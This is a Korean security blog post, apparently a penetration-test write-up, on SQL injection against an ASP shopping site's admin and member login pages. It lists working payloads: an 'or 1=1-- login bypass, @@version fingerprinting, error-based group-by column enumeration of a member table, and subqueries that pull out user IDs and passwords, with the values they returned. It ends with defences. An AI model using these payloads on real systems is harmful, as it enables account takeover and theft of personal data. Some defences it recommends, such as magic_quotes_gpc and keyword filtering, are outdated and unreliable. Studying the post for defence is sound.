SQL INJECTION
SQL injection 은 어플리케이션의 사용자 입력 값에 SQL 코드를 삽입 또는 추가하고, 해당 SQL 구문을 가장 마지막의 SQL 서버에 전달하여 해석 및 실행하는 과정에서 발생하는 공격으로 SQL injection 의 가장 일반적인 형태는 파라미터 값에 SQL 명령을 삽입하고 실행하는 형태로 이루어진다.
◎ SQL INJECION TEST
아래 그림은 관리자 페이지에서 SQL injection을 확인 하기위해 ‘ 문자 하나만 입력하여 Test 한 결과이다. ‘ 문자 하나만으로 에러페이지를 통해 브라우저 종류와 파일 이름 등을 알 수 있었고 Get 방식을 사용한다는 점도 확인할 수 있었다.
아래 그림은 관리자 페이지에 SQL inection 을 시도한 화면이다. ‘or 1=1—의 간단한 SQL 구문에도 SQL injection 공격이 성공해 로그인 되게 된다. 해당 페이지에 SQL injection 공격에 대응하기 위한 필터링이 필요하다.
관리자 페이지에 접속한 화면이다. 관리자 정보 변경, 회원관리, 상품관리, 주문관리 등 페이지의 모든 관리를 할 수 있다. 해당 관리자 페이지가 SQL injection에 노출 될 경우 페이지에 큰 피해가 올 것으로 예상된다.
관리자페이지에서는 회원 정보 관리도 가능하여 관리자 페이지가 노출되어 SQL injection 공격에 노출된다면 해당 웹서버의 회원 개인정보 유출의 위험이 커지게 된다.
아래 그림은 관리자 페이지에 한번 로그인한 후 “ /admin/index.asp “ 관리자 페이지에 다시 접속한 화면이다. 한번 접속한 후 아무런 문자나 입력해도 다시 관리자로 접속되었다. 관리자 접속 후 해당 페이지에서 벗어나면 자동 로그아웃 기능이나 세션 만료 설정이 필요하다.
테이블명 확인
회원 로그인 페이지의 아이디 비밀번호 란에 SQL injection 을 시도하였다. 'and(@@version)>1-- 를 입력한 결과 웹 서버의 버전정보를 알 수 있었다. 해당 웹서버가 최신버전이 아니라면 구버전의 알려진 취약점이 있을것이다 이러한 취약점을 이용하여 공격이 이루어 진다면 웹서버 운영에 문제가 될것으로 보인다.
'having 1=1-- 를 이용해 현재 페이지의 테이블명을 알수있었다. 테이블 명은 'mem_id' 이라는 것을 확인할 수 있었으며 첫번째 테이블 명을 이용해 다음 테이블 명을 추출해 보겠다.
입력값 |
출력값 |
'group by mem_id,mem_pwd,mem_name,mem_jumin —
|
mem_zip |
'group by mem_id,mem_pwd,mem_name,mem_jumin,mem_zip —
|
mem_addr1 |
'group by mem_id,mem_pwd,mem_name,mem_jumin,mem_zip,mem_addr1 —
|
mem_addr2 |
'group by mem_id,mem_pwd,mem_name,mem_jumin,mem_zip,mem_addr1,mem_addr2—
|
mem_tel |
'group by mem_id,mem_pwd,mem_name,mem_jumin,mem_zip,mem_addr1,mem_addr2,
mem_tel —
|
mem_hp |
'group by mem_id,mem_pwd,mem_name,mem_jumin,mem_zip,mem_addr1,mem_addr2,mem_tel,mem_hp —
|
mem_email |
'group by mem_id,mem_pwd,mem_name,mem_jumin,mem_zip,mem_addr1,mem_addr2,mem_tel,mem_hp,mem_email —
|
mem_wtday |
5.3 아이디 / 패스워드 추출
- ID 추출
입력값 |
출력값 |
' or 1=(select top 1 mem_id from member) –
|
Test |
' or 1=(select top 1 mem_id from member where mem_id <> 'test') –
|
Mentor21 |
- Password 추출
입력값 |
출력값 |
' or 1=(select top 1 mem_pwd from member) -- |
Test
|
' or 1=(select top 1 mem_pwd from member where mem_pwd<> 'test') –
|
Abc123
|
5.2. 정리
공격대상 |
- 사용자 로그인 입력 폼
- 웹 URL 파라미터
- 쿠키값 |
피해유형 |
- 데이터베이스 구조노출 : 의도적으로 “ 오류 ”가 발생되는 SQL 쿼리문을 삽입하여 데이터베이스 구조 파악.
- 데이터베이스 자료 유출 : 주요 자료 외부유출
- 데이터베이스 데이터 변조 : SQL 쿼리문 조작을 통하여 홈페이지 내용을 변조.
- 인증우회 : 타 사용자로 로그인 성공. |
보호대책
|
- 데이터베이스와 연동하는 스크립트의 모든 파라미터들을 점검하여 사용자의 입력 값에 SQL 쿼리문이 삽입되지 않도록 특수문자 (‘, “, \, ;, :, %, Space, --, +, <, >, (, ), #, & 등)를 필터링 한다.
- 입력문자열 대한 길이를 제한한다.
- 데이터베이스와 연동하는 스크립트의 모든 파라미터들을 점검하여 사용자의 입력 값에 SQL구문으로 사용되는 문자열(@variable, @@variable, print, set, or, union, and, insert, openrowset 등)을 필터링 한다.
- 데이터베이스의 에러 메시지를 사용자에게 보여주지 않도록 수정한다.
- 웹 어플리케이션이 사용하는 데이터베이스의 사용자 권한을 제한한다.
- php.ini 설정 중 magic_quotes_gpc 값을 On으로 설정한다.
- magic_quotes_gpc 옵션의 역할은 GPC(Get, Post, Cookie)를 통해 넘어오는 문자열 중에서 ‘(sing-quote)와 “ (double-quote), \(backslash), NULL 값의 앞에 자동으로 Backsash 문자를 붙여주는 기능을 한다. |
'정보보안 > Web Hacking & Security' 카테고리의 다른 글
web hacking - 모의해커와 범죄자 ( 크래커 ) 차이 (0) | 2014.09.17 |
---|---|
web hacking - 모의해킹을 왜하는것일까? (0) | 2014.09.17 |
Web Haking - 모의침투란 무엇인가? (0) | 2014.09.17 |
XSS ( CROSS SITE SCRIPTING ) (0) | 2014.09.10 |
BeEF 실습 (0) | 2014.09.09 |